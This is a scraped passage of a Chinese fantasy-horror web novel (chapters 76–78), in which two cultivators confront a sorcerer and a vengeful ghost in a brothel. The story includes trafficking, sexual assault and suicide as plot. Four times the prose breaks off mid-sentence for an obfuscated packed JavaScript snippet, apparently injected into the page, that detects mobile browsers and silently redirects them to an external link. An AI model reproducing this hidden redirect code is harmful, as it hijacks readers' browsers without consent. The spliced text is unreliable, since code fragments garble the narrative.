RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715503|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来扮成洪颜的连乔,连乔拉着她,“我在桐花岭买过你的灯笼,你娘在等你回去。” “我娘?” 小竹似乎清醒过来,虚晃缥缈的身影也慢慢化成实形,虽然还是灯笼的模样,但是比先前好太多了,她看着连乔,似乎愣了一下,“你……你见的我娘?” “你娘看不见也走不了,在家里一直等你回去。”连乔转了一圈又转回到原地,“走,我先带你离开这里。” “轰……” “嘤……” “呀……” 忽然狂风大作电闪雷鸣一般,火炉内下起血雨,是真的血雨,极其腥臭,仿佛有海啸从头顶压来,将小竹扯住。 小竹的身体慢慢变形,又往人皮灯笼的方向变化,连乔拉住她,小竹声音非常小,“没用的。” 她像是忍受着极大的痛苦,“她们一个拉着一个,拉到我这里了,我走不了了……” “你也别走了!”她忽然扯住连乔,连乔也感觉自己意识在下沉,她抬手推开小竹。 小竹的声音在发颤,意识也开始模糊。 她压低了声音,“你先走,直着走,遇到障碍也不要拐弯,一直跑到头就出去了。” 连乔看着她,咬了咬牙转身就走。 又听到一句,“半山。” 在后面,人皮灯笼已经不受控制,带着其他各种形态的物事向她扑来,连乔不再停留,御剑而行,碰到阻碍也不转弯,忽然“咻”一声,清新的空气迎面扑来。 再睁眼,她仍旧坐在醉玉馆内,对面坐着面如青鬼的李怀杨。 李怀杨面前摆着笔墨,纸上花了一张符,符已经碎了,上面被墨汁浸染,黏污一片。 连乔心跳得极快,耳边传来一声,“连乔。” 迟星垂注意到连乔的异常,用万机唤醒她,连乔给自己灌了一杯凉茶,才慢慢恢复平静。 “你那边出什么事了?” “我遇到李怀杨了,他不对劲。” 外面一声鸟啼,窗户半开,阴风透过窗上的铃铛穿到耳边,有种道不明的阴森。 破了符咒的李怀杨抬起眼,连乔发现他嘴里和鼻腔都流血了,被他胡乱擦干净,贴在脸上,已经结了一层血痂。 李怀杨朝她露了一个阴阴的笑。 “李公子花那么多钱,就是来傻笑的啊?”连乔吐出一口气,“不请我喝杯酒吗?” 李怀杨把面前的酒杯推到连乔面前,“你喝,喝了我告诉你。” 他不说话还好,说起话来嗓音又低又沉,像重感冒三天一样沙哑。他把酒杯递到连乔爱面前,“你,喝。” “好,我喝。”连乔伸手要接过杯子,忽然抓住他手腕,拉住他往后一拉。 冰凉的触感穿过来,有些不像活人的体温,连乔再捏住他的脉搏,更是震惊。 他没有脉搏。 他不是活人? 76.第 76 章 “连乔?” “连乔?” 迟星垂没有听到声音,他起身去连乔房间内,门口有人拦住他。 “让开。” 那人朝迟星垂露了一个猥琐的笑,“娘子,这是要去哪里啊?” 那人足足比迟星垂矮了一个头,麻子脸,笑起来一口黄牙。 黄牙又瘦又矮,心中阴暗,见到这样高挑又体检的美人儿,很想自己也尝试尝试味道。 平日里艳娘不准他沾那些好的货色,没什么机会发泄,只有在偷偷摸摸的时候浑水摸鱼捞点油水。这姑娘不吵不闹又不说话的,想来欺负了也不会告状。 黄牙伸手去摸迟星垂,这么干也不是第一次了,这楼里面这么多姑娘,都被打怕了,有些性格软,被揩了也就被揩了,不敢声张。 他这么干也不止第一次了。 在他还没碰到那高挑姑娘之前,胳膊被猛地向后折,“咔擦”一声,手居然断了。 他惨叫起来,迟星垂塞了一个东西堵住他的嘴,提着他往房内一扔。 连乔赶过来,“怎么了。” “处理了一点事。”迟星垂在擦手,“怎么了?” “妖道刚才出现了。”连乔又摇摇头,“不,不对,不是妖道,是被妖道控制的李怀杨。” 连乔将李怀杨死了但是却像活人一样行动的事告诉迟星垂,“他画了一道符,能把我困在一个类似炉鼎的地方,我在里面碰到了小竹。” “小竹被做成了人皮灯笼,只要碰到她,就会产生蓝色的鬼火。” 迟星垂想到上一世,招魂幡中确实有人皮灯笼,现在他回到一年前,应该是遇到还没有完成的招魂幡。 “方才李怀杨想抓我,但是他没想到我会术法逃出来,他警惕性很高,知道打不过我,立刻翻窗跑了。”连乔道,“李怀杨现在人不人鬼不鬼,就这么放出去不知道会伤到多少人,得尽快去找他。” 两个人翻墙出去,利用银蝶的追踪能力,在不远处的一条河里发现了李怀杨的尸体。 翻过来一看,他脸色依旧清灰,瞳孔缩在一起,脸部肌肉抽搐,双手奇怪地蜷缩,像一个煮熟的鸡爪。 他脸上的血污已经结成硬块,被水泡久了,又化开,铺在脸上。脸上有很多伤口,肉眼可见的皮肤上也是青一块紫一块,死前应该受了很多折磨。 迟星垂起身,用帕子擦了擦手,“这件事冲着你来的。” 李怀杨刚惹上她就被人杀了,还在死后继续来找她,失败后被发现丢在这河里。 “李怀杨被杀的原因是什么?”连乔想不通,“难道是妖道所为?” 妖道向来只杀命格非常阴的女子,像李怀杨这种毫无特长且污浊的男人,被盯上的原因是什么? “难道是因为我的命格也极阴,也被妖道盯上了?”连乔道,“就算我极阴,我也有一半妖族血统,不柔弱会反击,用我炼制招魂幡可能性也不大。” 连乔俯下身,“这是什么?” 李怀杨手中紧紧攥着一个簪子,只有半截的木簪,平平无奇,上面还挂着一点血,新鲜的。 “方才李怀杨没有伤到我,这血不是我的。” “嗯。”迟星垂道:“你看他的伤,他全身有多处骨折,不仅像被人打的,更像是从哪里摔下来的。” “这血有没有可能是洪颜的?”连乔道,“李怀杨找我,是想用招魂幡困住我,他有没有可能如法炮制,也这样对洪颜?” 洪颜手无缚鸡之力,如果被李怀杨找到,那就太危险了。 “我们在洪颜住的周围加上了结界,李怀杨也不知道她就在这里,不应当是洪颜。” 两人临走前留给洪颜两张求救符,危险时撕碎了符咒他们便知道,现在他们没有接到洪颜的消息,她应该还是安全的。 现在两个人暴露,妖道在暗他们在明,不扯上洪颜才是最正确的做法。 “以不变应万变。”迟星垂道,“继续在醉玉馆等。” 两个人回去,确实一夜无事。 第二日月夜,起先还平静,到夜里雾气升上来时,下面传来嘈杂声,像是有什么人在吵。 “迟星垂,你听到了吗?”连乔靠坐在窗前,她的窗子在楼上视野最好的位置,下面的情况能够一览无余。 “有人在闹事。”连乔将团扇举起,只露出两颗眼睛,“闹事的两个人挺眼熟。” 是张王广和赵平,上次这两人在醉玉馆白吃白喝还带拿,结果偷鸡不成蚀把米,被艳娘抓住报官,两个人赔了钱不说,张王广老婆一气之下还跟别人跑了。 张王广消沉了几天,赵平为了开解他,带着他去赌坊赌钱,这张王广丢了老婆来了手气,赢了不少桩。 两人一有钱,立刻跑到醉玉馆来耀武扬威,还点名了要红颜娘子。 “这……”艳娘转了转眼珠子,“两位爷,红颜娘子今个儿已经歇下了,要不你们……” 那两人往桌上扔了两袋金珠子,“够不够?” 艳娘先是停顿一下,总觉得这场景似曾相识,张王广又扔了一袋子金珠子,“现在呢?够不够?” 哪有有钱不挣的说法,艳娘赶紧伸手,将桌上的金珠子捋起来塞进袖子里,“哎,红颜娘子马上来。” 连乔坐在二人对面,张王广的目光在连乔身上来回扫视,最后落在她脸上。 连乔伸手给两个人各倒一杯酒,张王广手不动,连乔往前推杯子,推到他面前,“张老板,不是特意来找我的吗,怎么连杯酒都不肯喝?” 张王广原本脸色铁青,闻言笑起来,一双眼深陷,瞳孔放大,虽然这醉玉馆灯火通明,却依然像埋在伸手不见五指的深山里一样阴森。 “对,我来找你。” “找我干什么?” “我欠了好多钱。”张王广说话的时候露出一嘴黄牙,“有人说,取了你的命,就不要我还钱。” “是谁啊?” “砰!” 连乔闪身一躲,避开张王广扔过来的两个符咒,周围又升起雾气,醉玉馆的人和事都慢慢远去,只听见耳边聒噪又密集的咒音。 连乔觉得头疼欲裂。 又走在炉鼎之中,不过此次的炉鼎比上次的大,一层连着一层,走不到边也看不清出口。 咒声越来越快,声音越来越大,连乔只觉得有什么东西从胸口中蹦出来,连呼吸都不顺畅。 意识也在此时一分为二,一半被刺骨的海水和封闭狭窄的车内空间,另一半是烈火焚身万箭穿心……两种场景都非常熟悉,一个是她上一世的死法,另一个是原主的死法。 不同的绝望来回纠缠,她像一条被包裹在细网里的鱼,往前进不行,退也退不得。 “砰!” “哐!” “哐当!” 这一次的阵法比上一次的更严谨,上上下下都有尖声啼哭,让她心烦意乱。人在恐惧时情绪会不断放大,一点,又一点。 连乔想到瞳曜,想到镜魔,想到同月…… 等恐惧到达顶点,就变成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729585|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了无情的狂怒。够了,真是受够了,什么脏玩意儿破玩意儿都来沾边……丛林间一横,汹涌的灵力“轰”一声下灌。 比哭叫声还要震人心魂的是耳边的雷鸣。 这是人间,连乔一连压了几个月的灵力不能放肆,但是在这炉鼎幻境中可不再受此牵制。 两个意识不断交织交混,缺了口的丛林剑陪着她度过雷劫,时间无限漫长,又慢慢压缩成一个点,好像是一瞬间。 再睁眼,雷劫结束,连乔连升两级,炉鼎内的喧嚣都不再是喧嚣,像是号召。 一剑劈下,再一剑劈下,连乔不知道劈了多少剑,也不知道有没有将炉鼎劈出裂缝,忽然周围安静了,听到熟悉的声音,“连乔?” 连乔反手又是一剑,被人接住,有人伸手轻点她眉心,连乔睁开眼,看到迟星垂微微蹙眉的眼。 “被困住了?” 连乔点头。 迟星垂又看到她的不同,“你突破了。”他用的是陈述句,他很确定。 连乔将自己遇到的事告诉迟星垂,“我刚刚又进了那个炉鼎,那妖道似乎很想困住我,不停地给我施加幻境,还在不停挑衅我,我在人间不能突破,但是在秘境却不受影响。” 她斗志昂扬,不仅砸破了炉鼎,还破了那法阵。 “那两个人呢?”连乔忽然发现身边人不见了,她转身找了一圈,也没发现什么。 张王广和赵平带来的阵法比李怀杨的厉害多了,不知道是不是又是被妖道控制。 “哪两个人?”迟星垂道,“我来这里,你便一直一个人坐在此处,旁边并没有人。” “刚刚嘈杂声你没有听到吗?” “我听到你一个人自言自语,过了一会儿自己下了楼,我觉得不对,跟过来,便看到你入定了,我才想要叫醒你。” 连乔背后发凉。 她对这种阴森恐怖的东西有本能的抵触,“艳娘看到了,是那两个吃白食的无赖,艳娘还收了那两人的钱财,你怎么会看不到呢。” “啊呦,我的钱啊,怎么都变成了纸?”隔间传来鬼哭狼嚎,艳娘捧着一把金色碎纸冲过来,问连乔发生了什么,等没看到张王广和赵平两个人,她那一张涂满脂粉的脸一瞬间变得和手上的纸一样白。 最近馆里一直不太平,总是有人看到红衣服披头散发的女子在后院里来回游走,先前李怀杨在馆里喝酒,后来又出了人命——这次更离谱了,两个大活人,忽然就这么没了。 比起闹出人命,更让人受不了的是,钱还是假的。 “不好了,艳妈妈……”小厮从外面急冲冲蹿进来,走路带风一样,艳娘一巴掌拍在他肩膀上,“慌慌张张什么,见鬼了?” “闹出人命了!”小厮压低了声音,“昨天在门前的那条河里,不是发现了李怀杨的尸体吗?” “又出事了。”小厮哭丧着脸,“那两个老是喜欢吃白食的家伙,也死里面了?看他那尸体,死了有一天了。” 啊? 艳娘手一抖,碎纸从指缝里“哗啦”一声流下来。 张王广和赵平死了,那刚刚看到的是什么?是鬼吗? 同时僵住的还有连乔,方才看到张王广和赵平没那么恐怖,但是提到他们是鬼,那阴森的面容和咧开的嘴,实在是渗人。 而且那鬼只让连乔看到,摆明了冲她来的。 连乔不动声色地抱着胳膊。 迟星垂眯了眯眼,忽然挡在她面前,遮住醉玉馆外灯笼上,透过来的活动的白色鬼影。 77.第 77 章 连乔注意到迟星垂的动作,“是什么东西?” 等那东西离开,迟星垂道,“是一张鬼脸。” 一张白色的涂满脂粉的鬼脸,那张脸雪白无比,脸颊两侧涂有鹌鹑蛋大小的红团,笑起来嘴角咧到耳根处,贴在窗外,盯着里面的一举一动。 光是听到迟星垂的描述,就让人汗毛倒竖,怎么办,想倒。 连乔抿了抿唇,握剑的手不自觉地扣紧,迟星垂的目光从她手上扫过。 看到鬼影的不仅是迟星垂,还有醉玉馆的几个人。艳娘乍一看有些懵,还以为是自己看花了眼,揉了揉眼睛又往前探身,直到那张白脸对她笑了笑。 她往后一个踉跄,靠坐在椅子上。 “你看见了没?” 没有人回应,艳娘拉起一个人,指着外面闪过的鬼影,“我问你看到了没。” “看到了艳妈妈。”矮个子黄牙哭丧着脸,“我还以为是我看错了,那丫头不是死了吗?” 说完黄牙又转眼看着迟星垂。 和迟星垂一起买来的还有另外两个人,那两个小姑娘都来自黑市,来的时候哭哭啼啼,有一个性格还非常烈,艳娘花了好几天也没让两人走上正路子。 而且这两个人里面,有一个很快就死了。 这种下等货,死了也就死了,醉玉馆每年因此死的人,不知道有多少。 黄牙干这些收尾的事也十分顺手,他秘密处理了那个小姑娘的尸体,悄无声息,十分娴熟,一点痕迹也没留下。 可是…… 黄牙心里慌,他哆嗦一下,艳娘发现他的小动作,恶狠狠踢了他一脚,“你这死东西,是不是又干什么了?” 黄牙挤了个比哭还难看的笑,“艳妈妈,我能干什么事?” “你这天阉的废物,想你也知道你干了什么,怪不得她死这么快,等这件事结束看我不好好罚你。”艳娘“嘁”了一声,“你抖什么?” 黄牙牙齿打颤,“吱吱吱吱”像打鼓一样快,“我、我这不是害怕吗?” “不就是见鬼吗,我这醉玉馆里见的鬼还少吗?”艳娘手指一点,示意黄牙去开门,“有时候人比鬼可怕多了,我现在就更可怕,你去给我看看外面有什么。” 黄牙用手指了一下自己,“我?” “就是你。”艳娘推一把他,“让你去就去,磨蹭什么?” 醉玉馆由几个小楼拼成,他们所在的地方是中楼地段,外面连接着一处院子,后面还有后楼,也有一处院子,院子里还有井,种着各样花草。 黄牙哆哆嗦嗦转一圈回来,事实上他压根没转,就在中楼门口晃了一圈,等时间差不多了又小跑回来,跟艳娘说外面什么也没有。 “那就是撞邪了。”回想这几日来接连两次发生金珠子变成碎纸的怪事,艳娘心里也泛起了嘀咕,“你现在去江东头,把那能看事的大师请过来,做个法事就行。” 黄牙脸纠结成一团,“又是我啊?” 看到艳娘皱起的眉头,黄牙叫苦不迭,“去,我马上去。” 等黄牙离开后不久,前楼处忽然听见一声尖叫,跑出去的黄牙又从后楼穿过来,艳娘莫名其妙,“叫你去江东找大师傅,你又跑哪去了?” 黄牙擦了擦头上的冷汗,他哆嗦一下,摇了摇头,推开门又冲了出去。等了半炷香时间,黄牙又从后楼穿过来。 他这一次是真的害怕了,腿肚子直打颤,站都站不稳,“噗通”瘫倒在地,嘴里念叨着“有鬼啊有鬼啊”。 “什么有鬼?”艳娘又踢他一脚,“我叫你去江东找……不对,你刚刚是往前楼方向去的。” 黄牙一把鼻涕一把泪,“我刚刚是往前楼走,但是一出门就到了后楼的院子里,一转头就回来了。” “艳妈妈,咱们楼里是出鬼了,可别出门了,就算是想出门,也出不去啊!” 出不去? 连乔想起迟星垂说的那张鬼脸,是不是遇上鬼打墙了? 她望向迟星垂,眼神示意,问他这里是不是有鬼。 迟星垂点头。 连乔立刻觉得腿有些软,迟星垂伸手,连乔抓住了他宽大的袖子。 迟星垂没有说话,他的手穿过滑滑的布料,在连乔手上写下“结界”二字。 在这闹市中,为什么可以这样悄无声息地结成结界? 六界万物皆有因果,人间有伦理秩序,就算是大能也不能直接插手人间因果轮回,否则极易遭受反噬,更有可能直面天谴。 对方在这人间秩序极强的地方为非作歹,到底是有很大能耐,还是光脚不怕穿鞋的,根本不在乎被天道惩戒? 这妖道,有点本事和胆量,为了抓洪颜居然肯耗费这么大功夫。 连乔反手抓住迟星垂,又在他的手上写,“这结界你能不能破?” “可以,一炷香之内。”迟星垂反手写,“这结界有双层,要首尾相连,外面有人在布,里面肯定有人接应,这里面应该还有妖道的人。” 连乔:“啊?” 迟星垂抓住她的手,用眼神示意她不要出声,又用手在她手上写,“也有可能外面有人接应,妖道和我们一样,极有可能混在这醉玉馆其中。” 黄牙再次跑出去,连乔和迟星垂交换了一个眼神,连乔在他手上写,“是他吗?” 黄牙来回进出这醉玉馆,最有可能动手脚。 正说着,外面忽然传来一声惨叫,紧接着没了声音,等几个赶过去,发现黄牙躺倒在院子里,脸上血肉模糊,脸皮被扒掉,全身蜷缩,死状恐怖凄惨。 艳娘愣了一下,爆发出一声尖叫。 奇怪的是,她这样凄厉的惨叫,并没有引来多少关注,她的声音就像是被拦截在这中楼断。 连乔问,“也是结界吗?” “对。”迟星垂道,“有人不想闹出大动静,把活动范围缩小在中楼这一片。” 黄牙惨死,死去的形状和李怀杨以及那两人都很像,脸部表情极其狰狞,黄牙看不到脸,从他身体的状态也能看得出来他死前受了很大的罪。 连乔抬头望着迟星垂,迟星垂在看远处,目光微微发散,似乎也在沉思。 连乔在他手上写,“我现在修为有长进,自保不是问题,等会儿我出面引诱妖道出现,你趁机去抓他。” 迟星垂迟疑了一下,最后还是写下,“你见机行事,千万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735197|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心。” 连乔看着外面,伸手抱住了自己的胳膊,“艳妈妈,黄牙他死了,我会不会有事啊,最近醉玉馆太不太平了。” “哪里不太平,太平着呢,别乱说。”艳娘将连乔往楼上推,“这个是意外,你现在回房休息,别乱看乱瞟,下面的事我会处理。” “那艳妈妈,我先回去了。”连乔连忙离开是非之地,离开之前和迟星垂交换了一个眼神。 连乔在房间中安静等待,不久后连乔的镯子亮起,迟星垂用万机给她回音,“又有人出事了。” “又有人?” “嗯。”迟星垂道,“除了黄牙,还有一个小厮也死了,死的时候身体蜷缩,和黄牙、李怀杨一样。” 迟星垂道,“艳娘分明在瞒着什么。” 关了万机,迟星垂望着面前装扮浓艳的妇人,一直镇定的她在接连看到两具尸体后终于有些慌了,等看到第三具,才彻底失态,她一把扶在墙上,低声嘀咕,“怎么会呢?难道真的是来寻仇的吗?” “你到底知道些什么?” “不,没什么。”艳娘把嗓音放沉,这样看上去没那么慌张。 “你要是想活命,最好坦白点。”迟星垂望着地上的三个人,“要是你还想活,不想成为这里面的第四个,就把你知道的告诉我。” 艳娘脸色猛地一凝,“什么也没有,跟你没关系。” “是吗?”迟星垂道,“方才我看那个鬼影,忽然觉得有些面熟,想起来了,她是同我一起进来的。” 艳娘全身一抖,手也跟着发颤。 “她两日前还是好好地,忽然就没了生人的气息,而且死前怨念极重。”迟星垂俯下身,“这样看来,她是来索命的。” 艳娘捂住了耳朵,“那在我楼里糟蹋的姑娘那么多,死了埋在荒山的也不知道有多少,怎么就她事多,怎么就她来索命?” “你说什么?” “几日前我花了高价在黑市上买了你们几个,那两个不听话,我关起来了。”艳娘喘了一口气道,“我以往都是这样做的,这次也是,买来的,上些手段,就都听你的了,我连洪颜那样倔的女子都调.教成功,这两个更是小喽啰。” “但是我没想到,这次买来的姑娘性格这么烈,那黄牙见小艾漂亮,就偷偷摸摸几次猥.亵她,轻.薄她……” 小艾是那白脸姑娘的名字。 “结果那姑娘就撞墙自杀了。”艳娘叫苦不迭,“你看我这,我刚买回来的人儿,花了好多钱呢!” “人死了你不关心人命,你心心念念的只有你的钱财?” “这话说得,都是烂命一条,谁不是这样过来的,我也是。”艳娘抓着手帕,“这种事也不是遇到一次两次了,我这醉玉馆怨气重,压了许多符呢,哪知道这次没压住,居然有真的来了。” 艳娘想起那张惨白的脸,和小艾泡白的浮肿的脸一模一样。 这下生意还怎么做? 迟星垂注意到,这些死的人生前都虐待过小艾,所以那姑娘过来复仇,照这样看的话,下一个就是…… 不等迟星垂细想,面前的艳娘忽然蜷缩倒地,自己掐住了自己的脖子。 78.第 78 章 艳娘躺倒在地上,可怕地痉挛一下,等再有意识,已经是一炷香后。 迟星垂拉了个椅子坐在她旁边。 艳娘双手撑在地上,缓了一会儿才爬起来,她指着迟星垂,“是不是你做的,是不是你在害人?” 怪事是从迟星垂到醉玉馆开始的,肯定就是这个人捣的鬼。 艳娘伸手就要抓住迟星垂的腿,她要好好找这个人算账。迟星垂略微侧身躲开她的手,“你想做什么?” “这些事是你做的吧,我不会放过你的。” 迟星垂冷笑了一声,“你如果能够如实说话,说不定我还能救你一命,你没有发现,这些人都在遭受虐杀,下一个人是你。” 想起刚才的情形,艳娘心有余悸,她低着头沉默好一会儿才开口道,“刚才外面的那张鬼脸确实是和你们一起来的那个姑娘,但是那个姑娘已经死了。” “我也没想到会这样!”艳娘“唉”一声,“我没看住,那几个货看这姑娘漂亮,就对她动手动脚的,那姑娘性子烈,在柴房撞墙死了,你看到死的这几个,都是和那姑娘死因有关的人。” 艳娘抓着手帕,“啊呦,我也是个苦命人啊,遇到这种事,又不是我害的她们,怎么就找上我来了?” 迟星垂没有回答。艳娘并不无辜,这醉玉馆是她所开由她运营,那些女子也是被她所买所囚,到最后造成因果报应,她当然也要承担。 艳娘蜷缩在角落里,一条人命在这里,迟星垂也不能真的不管,给艳娘周围布下结界后,他联系上连乔,“方才捣鬼的不是妖道。” 寻常人不能随意插手人间因果,妖道在人间混迹多年,更理解其中缘由,一旦扰乱人间秩序,就极易被天道销毁。 在闹市,如此明目张胆布阵杀人,那人从一开始就打算玉石俱焚。 “更准确来说,是妖道在想办法逼你现身。”迟星垂道,“他不敢出面,或者是不方便出面,一直在利用不同人靠近你。” 连乔仔细一想,确实如此。 从李怀杨,到张王广和赵平,再到这个姑娘,妖道都是在借力,他是不方便出面么? 门外传来“吱呀”一声,连乔道,“那姑娘来我这里了。” “我在门口接应你。” 没有等来回音。 “连乔?连乔?” 等迟星垂上楼去找,房间内空空如也,屋内没有点灯,窗户大开,月光漏进来,透出阴森寒冷的光。 “连乔。” 连乔站定之后,识海中传来声音,“你如何传音过来的?” “重心蛊。”迟星垂道,“那人知道我们用万机通信,用结界切断了联系,不过我发现重心蛊也有联系作用,不受影响。” 重心蛊? 连乔压下心中的疑问,转声道,“那女子先前在醉玉馆,并没有攻击我,在外面晃了一圈,最后从你的房间离开。” “我觉得不对劲,所以跟了出来,但是等我开窗,又进了另一个世界。”连乔抬头,“和上次的不太一样。” 这里不再是圆形的炉鼎内部,映入眼帘的是无边无际的深夜,黑,伸手不见五指,寂静得出奇,只能听到脚步声。 但是很快,黑暗褪去,群星在头顶闪烁,她坐在阳台,旁边倚着一只慵懒的狗,这是她上一世的家。 飒飒很懒,懒到只在吃饭的时候动一下,其余的时候都在睡觉。不过很幸运,它有一个勤快且干净的主人,把它养得白白胖胖,在家的时候,每天都会牵着它下楼溜一圈。 但是连乔工作很忙,很多时候都是几个月不回来。这时候飒飒就在好友家乖乖待上一段时间,一边养膘一边等她。等她回来,飒飒就自己咬着狗绳,慢悠悠地把狗绳交到她手里,让她牵着自己回家。 这一次杀青后,她有一个久违的长假。 闲下来的时间,她很喜欢独处,做做饭,和飒飒一起享受假期时光。 她打算给自己和飒飒做一顿大餐,做了很长时间攻略,所有材料都准备好,就等着大显身手。 直到不粘锅把手被折断,厨房起火,头发烧两撮后,她端出一锅黑糊的粘稠汤汁,两个奇形怪状的荷包蛋和一碗又生又熟的通心粉。 外面刚下过雨,星星都出来了,她躺在阳台上的沙发上,喝了一口牛奶。 忙了这么久,也就热过的牛奶能喝。 但是飒飒不嫌弃连乔的手艺,乖乖吃完煎蛋,吃完后靠在她脚上,又开始打盹。 时间像头顶的流星一样流过,连乔盘腿窝在沙发里,享受这恬淡的安静的时光。 再睁眼,面前的阳台消失不见了,头顶依旧是星空,霓虹灯太亮,连天空也是橙红色的,入目的湖景变成海景,长路延长,无论车开得多快,仍旧开不到底。 “嘭……” 又一次的,无征兆地跌入海底。 连乔想,同样的手段,一次就够了,第二次就没意思了。 她安静地浮在水面上,望着自己往下沉,目光平静无波。 不是第一次了,上一次也是这样,她反复看着自己生死,看到最后都麻木了,像曾经演的一部循环电影不停的活过来再死去,永远循环在醒不来的噩梦中。 曾经是噩梦。 但是有人曾经撕破黑暗,将她从冰冷刺骨的黑夜中拉出来,循环就此打破,再回头看,这一切也没有那么令人恐怖。 连乔冷静的望着这一切,心中并没有掀起多大的波澜。 就这样一直盯着,画面开始变化,像电脑显卡不足,跳动闪烁几次,在漠然注视下轰然坍塌。 紧接着出现另一个画面,刀山火海烟气弥漫,子午谷一片狼藉,时不时传来惨叫声,火光和信号弹交织在一起,亮得像白日。三座山峰已经化为灰烬,鲜血渗入夏水,青绿的潭水化成一片血海。 她捂着嘴……不,不对,是连翘捂着嘴,在南道和三面狐的掩护下往出口跑。 “咻咻咻咻咻咻……” “砰砰砰……” 箭雨流星一样落下来,密密麻麻,势如破竹,三面狐化成一张大伞挡在连翘和南道上方,那箭雨上淬了化骨散,不管是修士还是生了灵智的花草树木,在这箭雨里,全都被穿破。 她摇头,不可置信望向背后。 南道催促她,“走吧。” 连翘站在原处,木然望向烈火里的子午谷,“南道,为什么会这样,是谁对我们这样?” “再不走就来不及了。”南道一把拽住她,“默非也撑不住了,连默非都要死了,对方不是我们能对付的。” “连翘,趁着现在走吧!” 连翘捂着脸,“发生了什么?为什么子午谷会被盯上,毁了,一切都毁了。” 默非拦在出口前,挡住肆虐的魔气,箭雨势如破竹,先是破了他的法衣,再是双手,最后到胸膛……他是个合格的影卫,会确保她的生命安全,在遇到危险时,宁愿自己粉身碎骨,也不会让她命丧当场。 这一次,一千年保护她的期限没有到,恐怕他就要殒命在此了。 默非吐了一大口血,万箭穿心,他仍旧是挡住肆虐的魔气,争取时间让她离开。 “走啊,连翘。” “走啊!” 三面狐也在吐血,连翘仰头望向天空,扬了一个难看的笑,“我们,走不了了。” “我们怎……” 子午谷有秘密的逃生通道,就在连翘的居院之下,但是等湖水分为两面,出口慢慢显露之时,另一个人,浑身缠绕着黑气,就站在湖水尽头,安静望着她。 迟星垂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742718|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一袭黑衣的迟星垂。 箭雨又落下,一层接连一层,三面狐已经没有生的气息了,但是它仍旧挡在连翘面前,像以往那样。 连翘望着穿破自己胸口的箭,蓝色灵火从迟星垂脚下蔓延到湖面,连水都能燃着,一直烧到她脚下,再爬上脚,腿,胸口…… 是皮开肉绽的撕裂之痛,她从来没有感受过这样的痛,在万箭穿心意识还没有散尽时,又被活活烧死…… 为什么,为什么会如此,为什么是她? 她什么也没做,为什么要承受这份痛? 连乔伸手摸自己的脸,发现自己不知道什么时候哭了。 刚穿越过来时,她短暂地过了一遍原主死前的情形,那时画面闪得很快,并没有这么清楚,以至于这次在重遇一切时,她的情绪反应很大。 连乔的意识和连翘的混为一体,仿佛自己就是连翘,一直到灵火烧尽,连翘彻底死亡,她的意识才重新回归。 连乔吐了一口气,抽出剑,在幻境再次动荡前猛地一劈。 “嗯?” 那一声非常轻微,且非常短促,被湮没在嘈杂的背景音中。但是连乔立刻捕捉到声音的来源,在幻境裂开一道口子时甩脱丛林。 “去!” 她的动作快如雷霆闪电,叫人躲闪不急,只听闷哼一声,一个黑灰色麻布衣服的道人往前跑。 “妖道哪里跑?” 丛林剑见血立刻兴奋起来,它刺伤妖道,在空中转了一圈,重新回到连乔手中,连乔挽了一个剑花,丛林剑化作十剑重影,齐齐往前冲去。 妖道自知不敌,连招魂幡也不管了,转身往出口地方跑去。连乔接过招魂幡,顿时万鬼齐鸣,刺破耳膜。 丛林剑也被冲得往下一坠,这一坠,刚好和妖道错开,妖道在地上滚了一圈,从幻境出口的缝隙里跌下去。 连乔大喊,“迟星垂。” “来了。”迟星垂早等在外面,在妖道露面时便将他一剑穿心。 连乔所在的幻境也随着妖道的殒命而层层剥落,像脱落的墙皮,随风而去,黑暗被光亮所取代,子午谷红的、黄的、灰败的,惨烈的景象一一散去,站在岸边的“迟星垂”也随幻境的坍塌化为云烟。 连乔摸了摸胸口,“砰砰砰……”那里还因为方才的惨状而心悸不已。 幻境散去,她站在醉玉馆的后院之中,原来她从来没有离开过,一切都是妖道布下的幻境,专门用来扰乱她的心性,好趁机而入,夺取她对身体的控制权。 一切终于结束了,连乔身体因为乏力往后仰倒,倒在一个温暖的怀抱里。 她仰头看到迟星垂的脸,他穿着月白色衣服,灯笼的光泽笼罩着两个人,透过光和影,他的面目和方才记忆里的那个人重叠。 